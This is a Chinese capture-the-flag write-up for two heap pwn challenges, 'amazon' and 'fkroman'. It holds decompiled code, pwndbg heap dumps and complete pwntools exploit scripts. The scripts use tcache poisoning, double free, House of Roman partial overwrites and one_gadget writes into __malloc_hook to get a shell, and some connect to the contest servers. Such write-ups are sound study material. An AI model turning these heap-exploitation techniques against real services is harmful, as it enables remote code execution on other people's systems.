数字经济云安全ctf Pwn
1. amazon
menu
int menu()
{
puts("1.buy");
puts("2.show");
puts("3.checkout");
puts("4.exit");
return printf("Your choice: ");
}
show
int show()
{
__int64 v0; // rax
signed int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 47; ++i )
{
v0 = qword_4080[i];
if ( v0 )
LODWORD(v0) = printf("Name: %s, Note: %s\n", qword_4080[i], qword_4080[i] + 32LL);
}
return v0;
}
checkout
unsigned __int64 checkout()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Which item are you going to pay for: ");
__isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 48 && qword_4080[v1] )
free((void *)qword_4080[v1]);
else
puts("No such item");
return __readfsqword(0x28u) ^ v2;
}
free后未置NULL,可能导致UAF
leak libc
from pwn import *
context.log_level = "debug"
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./amazon")
elf = ELF("./amazon")
def buy(which, count, size, content):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("to buy: ")
p.sendline(str(which))
p.recvuntil("many: ")
p.sendline(str(count))
p.recvuntil("your note: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.send(content)
def show():
p.recvuntil("Your choice: ")
p.sendline("2")
def checkout(idx):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("pay for: ")
p.sendline(str(idx))
# step_1
##### leak libc_base #####
for x in range(10):
buy(0,1,0x90,str(x)*8)
for x in range(8):
checkout(x)
show()
p.recvuntil("66666666\nName: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr-0x3ebca0
print "leak_addr =======>" , hex(leak_addr)
print "libc_base =======>" , hex(libc_base)
##### leak libc_base #####
# step_2
buy(0,1,0x10,"B"*8)
gdb.attach(p)
p.interactive()
泄漏出libc后,太菜了,没想到比较好的能够getshell方法
跟着dl的wp学习了一波:https://mp.weixin.qq.com/s/A0T1VJmfvPcWaBD5ubrbPA
解题思路
泄露libc,heap地址后,利用double_free 攻击small_bin 来构造overlap chunk(由于main_arena的top指针会被覆盖,所以后期不能从top_chunk分配,之前就要构造好chunk结构),最后利用tcache poisoning覆盖到malloc_hook与realloc_hook
- 泄漏libc和heap地址
- 这一步比较简单,由于free后指针没有设置为NULL,因此使用show函数可以打印出fd、bk的值。
- Tcache的对double free的检查比较松,导致可以通过多次释放同一个chunk,泄漏heap和libc的地址
- 第一次free两次,泄漏自身的地址(heap地址)
- 第二次再free六次,泄漏libc地址
pwndbg> bins
tcachebins
0x60 [ 1]: 0x55597be613d0 ◂— 0x0
0xb0 [ 1]: 0x55597be61320 ◂— 0x0
0xc0 [ 7]: 0x55597be61260 —▸ 0x7f678e8feca0 (main_arena+96) —▸ 0x55597be614c0 ◂— 0x10
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55597be61250 —▸ 0x7f678e8feca0 (main_arena+96) ◂— 0x55597be61250
smallbins
empty
largebins
empty
pwndbg>
- 创造一个fake chunk
add(1,0x10,0x80,"y"*0x60+p64(0)+p64(0x51)+p64(lib+0x3ebce0)*2) # create a fake chunk.
pwndbg> bins
tcachebins
0x60 [ 1]: 0x5636ccb343d0 ◂— 0x0
0xc0 [ 7]: 0x5636ccb34260 —▸ 0x7ffaba577ca0 (main_arena+96) —▸ 0x5636ccb344c0 ◂— 0x10
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5636ccb34250 —▸ 0x7ffaba577ca0 (main_arena+96) ◂— 0x5636ccb34250
smallbins
empty
largebins
empty
- add(1,0x10,0x90,"1"*8) # malloc the tcache 0xc0 分配出去
pwndbg> bins
tcachebins
0x60 [ 1]: 0x55b4c78843d0 ◂— 0x0
0xc0 [ 6]: 0x7fd721ececa0 (main_arena+96) —▸ 0x55b4c78844c0 ◂— 0x10
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> unsortedbin
unsortedbin
all: 0x0
- 分配出unsortbin,修改smallbin的内容。
add(1,0x10,0x90,p64(lib+0x3ebcb0)*2+p64(lib+0x3ebcc0)*2+p64(lib+0x3ebcd0)*2+p64(heap+0x340+0x60)*2) # malloc unsortbin
pwndbg> x /30gx 0x7fd721ececa0
0x7fd721ececa0 : 0x000055b4c78844c0 0x0000000000000000 // top_chunk
0x7fd721ececb0 : 0x000055b4c7884250 0x000055b4c7884250
0x7fd721ececc0 : 0x00007fd721ececb0 0x00007fd721ececb0
0x7fd721ececd0 : 0x00007fd721ececc0 0x00007fd721ececc0
0x7fd721ecece0 : 0x00007fd721ececd0 0x00007fd721ececd0
0x7fd721ececf0 : 0x00007fd721ecece0 0x00007fd721ecece0
0x7fd721eced00 : 0x00007fd721ececf0 0x00007fd721ececf0
0x7fd721eced10 : 0x00007fd721eced00 0x00007fd721eced00
0x7fd721eced20 : 0x00007fd721eced10 0x00007fd721eced
pwndbg> x /30gx 0x7ffa0dcbbca0
0x7ffa0dcbbca0 : 0x616853206b6c694d 0x000000000000656b
0x7ffa0dcbbcb0 : 0x000055d1aac70250 0x000055d1aac70250
0x7ffa0dcbbcc0 : 0x00007ffa0dcbbcb0 0x00007ffa0dcbbcb0
0x7ffa0dcbbcd0 : 0x00007ffa0dcbbcc0 0x00007ffa0dcbbcc0
0x7ffa0dcbbce0 : 0x00007ffa0dcbbcd0 0x00007ffa0dcbbcd0
0x7ffa0dcbbcf0 : 0x000055d1aac703a0 0x000055d1aac703a0 // small_bin
0x7ffa0dcbbd00 : 0x00007ffa0dcbbcf0 0x00007ffa0dcbbcf0
0x7ffa0dcbbd10 : 0x00007ffa0dcbbd00 0x00007ffa0dcbbd00
0x7ffa0dcbbd20 : 0x00007ffa0dcbbd10 0x00007ffa0dcbbd10
pwndbg> bins
tcachebins
0x60 [ 1]: 0x55d1aac703d0 ◂— 0x0
0xc0 [ 5]: 0x55d1aac704c0 ◂— 0x10
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x55d1aac703a0 —▸ 0x7ffa0dcbbce0 (main_arena+160) ◂— 0x55d1aac703a0
0xb0 [corrupted]
FD: 0x10
BK: 0x7ffa0dcbbd40 (main_arena+256) ◂— 0x7ffa0dcbbd40
largebins
empty
- 分配出伪造的smallbin,此时tcache中还有其overlapping的chunk,其fd已经被修改
add(1,0x10,0x20,p64(hook-0x28))
- 此时:
pwndbg> bins
tcachebins
0x60 [ 1]: 0x556a4f38c3d0 —▸ 0x7f05d8f31c08 (_IO_wide_data_0+296) ◂— 0x0
0xc0 [ 5]: 0x556a4f38c4c0 ◂— 0x10
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xb0 [corrupted]
FD: 0x10
BK: 0x7f05d8f31d40 (main_arena+256) ◂— 0x7f05d8f31d40
largebins
empty
- 分配已经被篡改的tcache中的堆块,这里使用realloc+0x9的位置调整栈空间,达到满足onegadget的条件
add(1,0x10,0x30,p64(one)+p64(realloc+0x9))
pwndbg> x /30gx 0x7f05d8f31bd8
0x7f05d8f31bd8 <_IO_wide_data_0+248>: 0x0000000000000000 0x0000000000000000
0x7f05d8f31be8 <_IO_wide_data_0+264>: 0x0000000000000000 0x0000000000000000
0x7f05d8f31bf8 <_IO_wide_data_0+280>: 0x0000000000000000 0x0000000000000000
0x7f05d8f31c08 <_IO_wide_data_0+296>: 0x0000000000000000 0x00007f05d8f2dd60
0x7f05d8f31c18: 0x0000000000000000 0x00007f05d8bdd410
0x7f05d8f31c28 <__realloc_hook>: 0x00007f05d8bde790 0x0000000000000000
0x7f05d8f31c38: 0x0000000000000000 0x0000000000000000
0x7f05d8f31c48 : 0x0000000000000000 0x0000000000000000
0x7f05d8f31c58 : 0x0000000000000000 0x0000000000000000
0x7f05d8f31c68 : 0x0000000000000000 0x0000000000000000
pwndbg> x /30gx 0x7f05d8f31c30
0x7f05d8f31c30 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f05d8f31c40 : 0x0000000000000000 0x0000000000000000
0x7f05d8f31c50 : 0x0000000000000000 0x0000000000000000
- 申请堆块,触发malloc_hook
EXP
附上 Chamd5 团队的wp:
from pwn import *
#context.log_level = 'debug'
p = process('./amazon')
#p=remote("121.41.38.38",9999)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def g(p,data=False):
gdb.attach(p,data)
raw_input()
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def rl():
return p.recvline()
def re(x):
return p.recv(x)
def add(idx,price,length,data):
ru("Your choice: ")
sl(str(1))
ru("uy: ")
sl(str(idx))
ru("many: ")
sl(str(price))
ru("note: ")
sl(str(length))
ru("tent: ")
se(data)
def add2(idx,price,length):
ru("Your choice: ")
sl(str(1))
ru("uy: ")
sl(str(idx))
ru("many: ")
sl(str(price))
ru("note: ")
sl(str(length))
def show():
ru("Your choice: ")
sl(str(2))
def free(idx):
ru("Your choice: ")
sl(str(3))
ru("for: ")
sl(str(idx))
add(1,0x10,0x90,"1"*8) # 0
add(1,0x10,0x80,p64(0)) # 1
free(1) # tcache[0xe0] -> 0
add(1,0x10,0x30,"3"*8) #
free(2)
add(1,0x10,0x20,";$0\x00")
add(1,0x10,0x20,"2"*8)
free(0)
free(0)
show()
ru("Name: ")
heap=u64(re(6).ljust(8,"\x00"))-0x260
print hex(heap)
for i in range(6):
free(0)
show()
ru("Name: ")
lib=u64(re(6).ljust(8,"\x00"))-0x3ebca0
print hex(lib)
hook=libc.symbols["__malloc_hook"]
hook=lib+hook
print hex(hook)
one=lib+0x10a38c
realloc=lib+libc.symbols["realloc"]
add(1,0x10,0x80,"y"*0x60+p64(0)+p64(0x51)+p64(lib+0x3ebce0)*2) # create a fake chunk.
add(1,0x10,0x90,"1"*8) # malloc the tcache 0xc0
add(1,0x10,0x90,p64(lib+0x3ebcb0)*2+p64(lib+0x3ebcc0)*2+p64(lib+0x3ebcd0)*2+p64(heap+0x340+0x60)*2) # malloc unsortbin
add(1,0x10,0x20,p64(hook-0x28))
gdb.attach(p)
add(1,0x10,0x30,"wwe")
add(1,0x10,0x30,p64(one)+p64(realloc+0x9))
add2(1,1,0x60)
p.interactive()
总结
- 利用chunk同时存在于tcache和main_arena,结合tcache poisoning,分配到main_arena地址处的堆块
- 构造出overlapping后,利用分配的堆块修改small bin位置,此时small bin和tcache 存在重叠部分
- 利用malloc hook 和realloc hook,调整栈布局,满足oneshot最后get shell
2. fkroman
House of roman
参考:https://xz.aliyun.com/t/2316#toc-5
正常来讲爆破的话就可以,但是这个题目比较恶心的是有一个sleep(5)
题目分析
就是简单的增删改,存在UAF和double free漏洞,可以任意溢出,但是保护全开,不能获取到libc的地址
利用思路
- 首先分配
3
个chunk (A , B, C)
,大小分别为0x20, 0xd0, 0x70
- 在
B + 0x78
处设置p64(0x61)
, 作用是fake size
,用于后面 的fastbin attack
- 释放掉
B
,B
进入unsorted bin
, 此时B+0x10
和B+0x18
中有main_arean
的地址 - 再次分配
0xd0
, 会分配到B
, 此时B+0x10
和B+0x18
中main_arean
的地址依然存在 - 然后分配
3
个0x70
的chunk (D , E, F)
, 为后续做准备 - 在
A
触发 单字节溢出,修改B->size = 0x71
. 然后释放C , D
, 此时C , D
进入fastbin
, 同时D->fd = C
. 由于chunk
之间的相对偏移固定,于是利用uaf
修改D->fd
的低 字节 ,使得D->fd=B
- 此时
B->size = 0x71
,同时B + 0x78
为p64(0x61)
(第2步设置), 这就成功伪造了一个0x70
大小的fastbin
。 此时B->fd
为main_arean
的地址,于是通过 修改 低2
个字节,可以修改到malloc_hook - 0x23
处 (malloc_hook - 0x23 + 0x8
处的值为p64(0x7f)
) - 然后分配
3
次0x70
的chunk
, 就可以拿到包含malloc_hook
的chunk
, 此时malloc_hook
内容为0
- 然后利用
unsorted bin
修改malloc_hook
内容为main_arean
的地址 - 利用部分写修改
malloc_hook
为one_gadget
- 多次释放一个指针,触发
double free
异常,进而触发malloc_printerr
,getshell
Exp
# coding:utf-8
from pwn import *
from time import sleep
# elf = ELF("./fkroman")
# p = process("./fkroman",env={"LD_PRELOAD":"./libc-2.23.so"})
p = remote("121.40.246.48", 9999)
def create(size, index):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(size))
def free(index):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))
def edit(index, content):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)
create(0x18,0) # 0x20
create(0xc8,1) # d0
create(0x65,2) # 0x70
info("create 2 chunk, 0x20, 0xd8")
fake = "A"*0x68
fake += p64(0x61)
edit(1,fake)
info("fake")
free(1)
create(0xc8,1)
create(0x65,3) # b
create(0x65,15)
create(0x65,18)
over = "A"*0x18 # off by one
over += "\x71" # set chunk 1's size --> 0x71
edit(0,over)
info("利用 off by one , chunk 1's size --> 0x71")
free(2)
free(3)
info("创建两个 0x70 的 fastbin")
heap_po = "\x20"
edit(3,heap_po)
info("把 chunk'1 链入到 fastbin 里面")
# malloc_hook 上方
malloc_hook_nearly = "\xed\x1a"
edit(1,malloc_hook_nearly)
info("部分写,修改 fastbin->fd ---> malloc_hook")
create(0x65,0)
create(0x65,0)
create(0x65,0)
info("0 拿到了 malloc_hook")
free(15)
edit(15,p64(0x00))
info("再次生成 0x71 的 fastbin, 同时修改 fd =0, 修复 fastbin")
create(0xc8,1)
create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
free(1)
po = "B"*8
po += "\x00\x1b"
edit(1,po)
create(0xc8,1)
info("unsorted bin 使得 malloc_hook 有 libc 的地址")
over = "R"*0x13 # padding for malloc_hook
over += "\xa4\xd2\xbf"
edit(0,over)
info("malloc_hook to one_gadget")
free(18)
free(18)
p.recvuntil("double free or corruption")
p.sendline("\n")
sleep(0.2)
p.sendline("uname -a")
data = p.recvuntil("GNU/Linux", timeout=2)
if "Linux" in data:
p.interactive()
else:
exit(0)